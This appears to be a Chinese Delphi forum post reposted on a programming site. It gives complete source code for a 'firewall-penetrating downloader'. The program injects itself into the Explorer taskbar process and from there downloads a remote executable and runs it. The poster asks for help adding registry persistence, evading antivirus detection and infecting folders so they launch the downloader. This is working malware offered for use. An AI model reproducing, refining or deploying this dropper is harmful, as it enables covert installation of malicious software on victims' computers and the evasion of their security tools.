delphi一个简单的穿墙下载者  
官方Delphi 学习QQ群: 682628230(三千人)
频道

delphi一个简单的穿墙下载者


一个简单的穿墙下载者
写了一个穿墙的下载者 没加入启动项 本人菜 所以把代码贴出来 希望大家 告诉下 如果写入注册表启动项 而且不被杀软误报

看到一个人写的 下载者 感染所有文件夹 随便某个盘符的文件夹点击后就可以启动下载者 真是汗有知道也说下 是什么方法

下面是代码 希望大侠帮忙看下

program Project1;

{$IMAGEBASE $12120000}
//=============================================================================
uses
windows,
UrlMon;


//=============================================================================
Function Main(dwEntryPoint:Pointer):LongWord;stdcall;
begin
URLDownloadToFile(nil,'http://www.baidu.cn/1.exe','C:\1.exe', 0,nil);
WinExec('C:\1.exe', SW_SHOW);
Result:=0;
end;

//=============================================================================
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

//=============================================================================
var
PID,ProcessHandle:LongWord;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle,@Main);
CloseHandle(ProcessHandle);

end.
//=============================================================================

推荐分享
图文皆来源于网络,内容仅做公益性分享,版权归原作者所有,如有侵权请告知删除!
 

Copyright © 2014 DelphiW.com 开发 源码 文档 技巧 All Rights Reserved
晋ICP备14006235号-8 晋公网安备 14108102000087号

执行时间: 0.14619302749634 seconds